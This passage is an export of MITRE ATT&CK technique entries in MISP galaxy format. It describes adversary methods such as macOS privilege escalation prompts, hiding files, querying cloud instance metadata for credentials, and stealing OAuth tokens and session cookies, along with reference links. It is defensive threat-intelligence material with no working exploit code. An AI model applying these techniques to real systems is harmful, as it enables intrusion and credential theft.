The tag is: *misp-galaxy:mitre-attack-pattern="Secure and protect infrastructure - T1317"*

Table 3818. Table References

Links
https://attack.mitre.org/techniques/T1317

Obfuscate or encrypt code - T1319

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1319).

Obfuscation is the act of creating code that is more difficult to understand. Encoding transforms the code using a publicly available format. Encryption transforms the code such that it requires a key to reverse the encryption. (Citation: CylanceOpCleaver)

The tag is: *misp-galaxy:mitre-attack-pattern="Obfuscate or encrypt code - T1319"*

Table 3819. Table References

Links
https://attack.mitre.org/techniques/T1319

Elevated Execution with Prompt - T1514

Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. Although this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.

Adversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)

The tag is: *misp-galaxy:mitre-attack-pattern="Elevated Execution with Prompt - T1514"*

View relationships graph

Elevated Execution with Prompt - T1514 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Elevated Execution with Prompt - T1548.004" with estimative-language:likelihood-probability="almost-certain"

Table 3820. Table References

Links

https://attack.mitre.org/techniques/T1514
https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg
https://objective-see.com/blog/blog_0x2A.html
https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8
https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/

Data Encrypted for Impact - T1471

An adversary may encrypt files stored on the mobile device to prevent the user from accessing them, for example with the intent of only unlocking access to the files after a ransom is paid. Without escalated privileges, the adversary is generally limited to only encrypting files in external/shared storage locations. This technique has been demonstrated on Android. We are unaware of any demonstrated use on iOS.

The tag is: *misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1471"*

Table 3821. Table References

Links
https://attack.mitre.org/techniques/T1471
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-28.html

Hidden Files and Directories - T1158

To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls –a</code> for Linux and macOS).

Adversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.

Windows

Users can mark specific files as hidden by using the attrib.exe binary. Simply do <code>attrib +h filename</code> to mark a file or folder as hidden. Similarly, the “+s” marks a file as a system file and the “+r” flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively “/S”.

Linux/Mac

Users can mark specific files as hidden simply by putting a "." as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, '.', are by default hidden from being viewed in the Finder application and standard command-line utilities like "ls". Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: <code>defaults write com.apple.finder AppleShowAllFiles YES</code>, and then relaunch the Finder Application.

Mac

Files on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). Many applications create these hidden files and folders to store information so that it doesn't clutter up the user's workspace. For example, SSH utilities create a .ssh folder that's hidden and contains the user's known hosts and keys.

The tag is: *misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1158"*

View relationships graph

Hidden Files and Directories - T1158 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

Table 3822. Table References

Links
https://attack.mitre.org/techniques/T1158
https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf

Gather Victim Org Information - T1591

Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees.

Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social

Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).

The tag is: *misp-galaxy:mitre-attack-pattern="Gather Victim Org Information - T1591"*

Table 3823. Table References

Links
https://attack.mitre.org/techniques/T1591
https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/
https://www.sec.gov/edgar/search-and-access

Cloud Storage Object Discovery - T1619

Adversaries may enumerate objects in cloud storage infrastructure. Adversaries may use this information during automated discovery to shape follow-on behaviors, including requesting all or specific objects from cloud storage. Similar to [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) on a local host, after identifying available storage services (i.e. [Cloud Infrastructure Discovery](https://attack.mitre.org/techniques/T1580)) adversaries may access the contents/objects stored in cloud infrastructure.

Cloud service providers offer APIs allowing users to enumerate objects stored within cloud storage. Examples include ListObjectsV2 in AWS (Citation: ListObjectsV2) and List Blobs in Azure(Citation: List Blobs) .

The tag is: *misp-galaxy:mitre-attack-pattern="Cloud Storage Object Discovery - T1619"*

Table 3824. Table References

Links
https://attack.mitre.org/techniques/T1619
https://docs.aws.amazon.com/AmazonS3/latest/API/API_ListObjectsV2.html
https://docs.microsoft.com/en-us/rest/api/storageservices/list-blobs

System Network Configuration Discovery - T1422

On Android, details of onboard network interfaces are accessible to apps through the `java.net.NetworkInterface` class.(Citation: NetworkInterface) The Android `TelephonyManager` class can be used to gather related information such as the IMSI, IMEI, and phone number.(Citation: TelephonyManager)

On iOS, gathering network configuration information is not possible without root access.

The tag is: *misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422"*

Table 3825. Table References

Links
https://attack.mitre.org/techniques/T1422
https://developer.android.com/reference/android/telephony/TelephonyManager.html
https://developer.android.com/reference/java/net/NetworkInterface.html

Cloud Instance Metadata API - T1522

Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.

Most cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API)

If adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, attackers may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows the attacker to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)

The de facto standard across cloud service providers is to host the Instance Metadata API at <code>http[:]//169.254.169.254</code>.

The tag is: *misp-galaxy:mitre-attack-pattern="Cloud Instance Metadata API - T1522"*

View relationships graph

Cloud Instance Metadata API - T1522 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Cloud Instance Metadata API - T1552.005" with estimative-language:likelihood-probability="almost-certain"

Table 3826. Table References

Links
https://attack.mitre.org/techniques/T1522
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html
https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse

Identify analyst level gaps - T1233

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1233).

Analysts identify gap areas that generate a compelling need to generate a Key Intelligence Topic (KIT) or Key Intelligence Question (KIQ). (Citation: BrighthubGapAnalysis) (Citation: ICD115) (Citation: JP2-01)

The tag is: *misp-galaxy:mitre-attack-pattern="Identify analyst level gaps - T1233"*

Table 3827. Table References

Links
https://attack.mitre.org/techniques/T1233

Generate analyst intelligence requirements - T1234

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1234).

Analysts may receive Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from leadership or key decision makers and generate intelligence requirements to articulate intricacies of information required on a topic or question. (Citation: Herring1999)

The tag is: *misp-galaxy:mitre-attack-pattern="Generate analyst intelligence requirements - T1234"*

Table 3828. Table References

Links
https://attack.mitre.org/techniques/T1234

Identify security defensive capabilities - T1263

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1263).

Security defensive capabilities are designed to stop or limit unauthorized network traffic or other types of accesses. (Citation: OSFingerprinting2014) (Citation: NMAP WAF NSE)

The tag is: *misp-galaxy:mitre-attack-pattern="Identify security defensive capabilities - T1263"*

Table 3829. Table References

Links
https://attack.mitre.org/techniques/T1263

Use multiple DNS infrastructures - T1327

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1327).

A technique used by the adversary similar to Dynamic DNS with the exception that the use of multiple DNS infrastructures likely have whois records. (Citation: KrebsStLouisFed)

The tag is: *misp-galaxy:mitre-attack-pattern="Use multiple DNS infrastructures - T1327"*

Table 3830. Table References

Links
https://attack.mitre.org/techniques/T1327

Analyze application security posture - T1293

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1293).

An adversary can probe a victim's network to determine configurations. The configurations may provide opportunities to route traffic through the network in an undetected or less detectable way. (Citation: Li2014ExploitKits) (Citation: RecurlyGHOST)

The tag is: *misp-galaxy:mitre-attack-pattern="Analyze application security posture - T1293"*

Table 3831. Table References

Links
https://attack.mitre.org/techniques/T1293

Malicious Software Development Tools - T1462

As demonstrated by the XcodeGhost attack (Citation: PaloAlto-XcodeGhost1), app developers could be provided with modified versions of software development tools (e.g. compilers) that automatically inject malicious or exploitable code into applications.

Detection: Enterprises could deploy integrity checking software to the computers that they use to develop code to detect presence of unauthorized, modified software development tools.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-attack-pattern="Malicious Software Development Tools - T1462"*

View relationships graph

Malicious Software Development Tools - T1462 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1474" with estimative-language:likelihood-probability="almost-certain"

Table 3832. Table References

Links
https://attack.mitre.org/techniques/T1462

Identify technology usage patterns - T1264

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1264).

Technology usage patterns include identifying if users work offsite, connect remotely, or other possibly less restricted/secured access techniques. (Citation: SANSRemoteAccess)

The tag is: *misp-galaxy:mitre-attack-pattern="Identify technology usage patterns - T1264"*

Table 3833. Table References

Links
https://attack.mitre.org/techniques/T1264

Generate Fraudulent Advertising Revenue - T1472

An adversary could seek to generate fraudulent advertising revenue from mobile devices, for example by triggering automatic clicks of advertising links without user involvement.

The tag is: *misp-galaxy:mitre-attack-pattern="Generate Fraudulent Advertising Revenue - T1472"*

Table 3834. Table References

Links
https://attack.mitre.org/techniques/T1472

Identify sensitive personnel information - T1274

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1274).

An adversary may identify sensitive personnel information not typically posted on a social media site, such as address, marital status, financial history, and law enforcement infractions. This could be conducted by searching public records that are frequently available for free or at a low cost online. (Citation: RSA-APTRecon)

The tag is: *misp-galaxy:mitre-attack-pattern="Identify sensitive personnel information - T1274"*

Table 3835. Table References

Links
https://attack.mitre.org/techniques/T1274

Identify web defensive services - T1256

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1256).

An adversary can attempt to identify web defensive services as [CloudFlare](https://www.cloudflare.com), [IPBan](https://github.com/jjxtra/Windows-IP-Ban-Service), and [Snort](https://www.snort.org). This may be done by passively detecting services, like [CloudFlare](https://www.cloudflare.com) routing, or actively, such as by purposefully tripping security defenses. (Citation: NMAP WAF NSE)

The tag is: *misp-galaxy:mitre-attack-pattern="Identify web defensive services - T1256"*

Table 3836. Table References

Links
https://attack.mitre.org/techniques/T1256

Steal Application Access Token - T1528

Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources.

Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment.

In Kubernetes environments, processes running inside a container communicate with the Kubernetes API server using service account tokens. If a container is compromised, an attacker may be able to steal the container's token and thereby gain access to Kubernetes API commands.(Citation: Kubernetes Service Accounts)

Token theft can also occur through social engineering, in which case user action may be required to grant access. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials.

Adversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017) The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1550/001).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019)

Application access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. However, in some cases, adversaries can also steal application refresh tokens(Citation: Auth0 Understanding Refresh Tokens), allowing them to obtain new access tokens without prompting the user.

The tag is: *misp-galaxy:mitre-attack-pattern="Steal Application Access Token - T1528"*

Table 3837. Table References

Links
https://attack.mitre.org/techniques/T1528
https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/
https://auth0.com/learn/refresh-tokens/
https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks
https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens
https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols
https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app
https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow
https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/
https://www.amnesty.org/en/latest/research/2019/08/evolving-phishing-attacks-targeting-journalists-and-human-rights-defenders-from-the-middle-east-and-north-africa/

Gather Victim Host Information - T1592

Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.).

Adversaries may gather this information in various ways, such as direct collection actions via

[Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).

The tag is: *misp-galaxy:mitre-attack-pattern="Gather Victim Host Information - T1592"*

Table 3838. Table References

Links
https://attack.mitre.org/techniques/T1592
https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
https://threatconnect.com/blog/infrastructure-research-hunting/

Identify people of interest - T1269

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1269).

The attempt to identify people of interest or with an inherent weakness for direct or indirect targeting to determine an approach to compromise a person or organization. Such targets may include individuals with poor OPSEC practices or those who have a trusted relationship with the intended target. (Citation: RSA-APTRecon) (Citation: Scasny2015)

The tag is: *misp-galaxy:mitre-attack-pattern="Identify people of interest - T1269"*

Table 3839. Table References

Links
https://attack.mitre.org/techniques/T1269

Data from Local System - T1533

Sensitive data can be collected from local system sources, such as the file system or databases of information residing on the system.

Local system data includes information stored by the operating system. Access to local system data often requires escalated privileges (e.g. root access). Examples of local system data include authentication tokens, the device keyboard cache, Wi-Fi passwords, and photos.

The tag is: *misp-galaxy:mitre-attack-pattern="Data from Local System - T1533"*

Table 3840. Table References

Links
https://attack.mitre.org/techniques/T1533

Post compromise tool development - T1353

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1353).

After compromise, an adversary may utilize additional tools to facilitate their end goals. This may include tools to further explore the system, move laterally within a network, exfiltrate data, or destroy data. (Citation: SofacyHits)

The tag is: *misp-galaxy:mitre-attack-pattern="Post compromise tool development - T1353"*

Table 3841. Table References

Links
https://attack.mitre.org/techniques/T1353

Standard Application Layer Protocol - T1437

Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic.

In the mobile environment, the Google Cloud Messaging (GCM; two-way) and Apple Push Notification Service (APNS; one-way server-to-device) are commonly used protocols on Android and iOS respectively that would blend in with routine device traffic and are difficult for enterprises to inspect. Google reportedly responds to reports of abuse by blocking access to GCM.(Citation: Kaspersky-MobileMalware)

The tag is: *misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437"*

Table 3842. Table References

Links
https://attack.mitre.org/techniques/T1437
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-29.html
https://securelist.com/mobile-malware-evolution-2013/58335/

Build or acquire exploits - T1349

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1349).

An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may use or modify existing exploits when those exploits are still relevant to the environment they are trying to compromise. (Citation: NYTStuxnet) (Citation: NationsBuying)

The tag is: *misp-galaxy:mitre-attack-pattern="Build or acquire exploits - T1349"*

Table 3843. Table References

Links
https://attack.mitre.org/techniques/T1349
https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html
https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html

Create infected removable media - T1355

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1355).

Use of removable media as part of the Launch phase requires an adversary to determine type, format, and content of the media and associated malware. (Citation: BadUSB)

The tag is: *misp-galaxy:mitre-attack-pattern="Create infected removable media - T1355"*

Table 3844. Table References

Links
https://attack.mitre.org/techniques/T1355

Remote Service Session Hijacking - T1563

Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service.

Adversaries may commandeer these sessions to carry out actions on remote systems. [Remote Service Session Hijacking](https://attack.mitre.org/techniques/T1563) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it hijacks an existing session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/

T1078).(Citation: RDP Hijacking Medium)(Citation: Breach Post-mortem SSH Hijack)

The tag is: *misp-galaxy:mitre-attack-pattern="Remote Service Session Hijacking - T1563"*

Table 3845. Table References

Links
https://attack.mitre.org/techniques/T1563
https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident
https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6

Steal Web Session Cookie - T1539

An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.

Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)

There are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as Evilginx 2 and Muraena that can gather session cookies through a malicious proxy (ex: [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)

After an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application.

The tag is: *misp-galaxy:mitre-attack-pattern="Steal Web Session Cookie - T1539"*

Table 3846. Table References

Links
https://attack.mitre.org/techniques/T1539
https://github.com/kgretzky/evilginx2
https://github.com/muraenateam/muraena
https://securelist.com/project-tajmahal/90240/
https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/

https://wunderwuzzi23.github.io/blog/passthecookie.html

Targeted social media phishing - T1366

This technique has been deprecated. Please use [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003).

Sending messages through social media platforms to individuals identified as a target. These messages may include malicious attachments or links to malicious sites or they may be designed to establish communications for future actions. (Citation: APT1) (Citation: Nemucod Facebook)

The tag is: *misp-galaxy:mitre-attack-pattern="Targeted social media phishing - T1366"*

Table 3847. Table References

Links
https://attack.mitre.org/techniques/T1366

Modify Trusted Execution Environment - T1399

If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device’s Trusted Execution Environment (TEE) or other similar isolated execution environment where the code can evade detection, may persist after device resets, and may not be removable by the device user. Running code within the TEE may provide an adversary with the ability to monitor or tamper with overall device behavior.(Citation: Roth-Rootkits)

The tag is: *misp-galaxy:mitre-attack-pattern="Modify Trusted Execution Environment - T1399"*

Table 3848. Table References

Links
https://attack.mitre.org/techniques/T1399
https://hackinparis.com/data/slides/2013/Slidesthomasroth.pdf
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html
https://www.apple.com/business/docs/iOS_Security_Guide.pdf

Masquerade as Legitimate Application - T1444

An adversary could distribute developed malware by masquerading the malware as a legitimate application. This can be done in two different ways: by embedding the malware in a legitimate application, or by pretending to be a legitimate application.

Embedding the malware in a legitimate application is done by downloading the application, disassembling it, adding the malicious code, and then re-assembling it.(Citation: Zhou) The app would appear to be the original app, but would contain additional malicious functionality. The adversary could then publish the malicious application to app stores or use another delivery method.

Pretending to be a legitimate application relies heavily on lack of scrutinization by the user. Typically, a malicious app pretending to be a legitimate one will have many similar details as the legitimate one, such as name, icon, and description.(Citation: Palo Alto HenBox)

Malicious applications may also masquerade as legitimate applications when requesting access to the accessibility service in order to appear as legitimate to the user, increasing the likelihood that the access will be granted.

The tag is: *misp-galaxy:mitre-attack-pattern="Masquerade as Legitimate Application - T1444"*

Table 3849. Table References

Links
http://ieeexplore.ieee.org/document/6234407
https://attack.mitre.org/techniques/T1444
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-14.html
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-31.html
https://unit42.paloaltonetworks.com/unit42-henbox-chickens-come-home-roost/

Compromise Client Software Binary - T1554

Adversaries may modify client software binaries to establish persistent access to systems. Client software enables users to access services provided by a server. Common client software types are SSH clients, FTP clients, email clients, and web browsers.

Adversaries may make modifications to client software binaries to carry out malicious tasks when those applications are in use. For example, an adversary may copy source code for the client software, add a backdoor, compile for the target, and replace the legitimate application binary (or support files) with the backdoored one. Since these applications may be routinely executed by the user, the adversary can leverage this for persistent access to the host.

The tag is: *misp-galaxy:mitre-attack-pattern="Compromise Client Software Binary - T1554"*

Table 3850. Table References

Links
https://attack.mitre.org/techniques/T1554

Abuse Elevation Control Mechanism - T1548

Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.

The tag is: *misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548"*

Table 3851. Table References

Links
https://attack.mitre.org/techniques/T1548

Downgrade to Insecure Protocols - T1466

An adversary could cause the mobile device to use less secure protocols, for example by jamming frequencies used by newer protocols such as LTE and only allowing older protocols such as GSM to communicate(Citation: NIST-SP800187). Use of less secure protocols may make communication easier to eavesdrop upon or manipulate.

The tag is: *misp-galaxy:mitre-attack-pattern="Downgrade to Insecure Protocols - T1466"*

Table 3852. Table References

Links
http://csrc.nist.gov/publications/drafts/800-187/sp800_187_draft.pdf
https://attack.mitre.org/techniques/T1466
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-3.html

Rogue Cellular Base Station - T1467

An adversary could set up a rogue cellular base station and then use it to eavesdrop on or manipulate cellular device communication. A compromised cellular femtocell could be used to carry out this technique(Citation: Computerworld-Femtocell).

The tag is: *misp-galaxy:mitre-attack-pattern="Rogue Cellular Base Station - T1467"*

Table 3853. Table References

Links
http://www.computerworld.com/article/2484538/cybercrime-hacking/researchers-exploit-cellular-tech-flaws-to-intercept-phone-calls.html
https://attack.mitre.org/techniques/T1467
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-7.html

Data Encrypted for Impact - T1486

Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018)

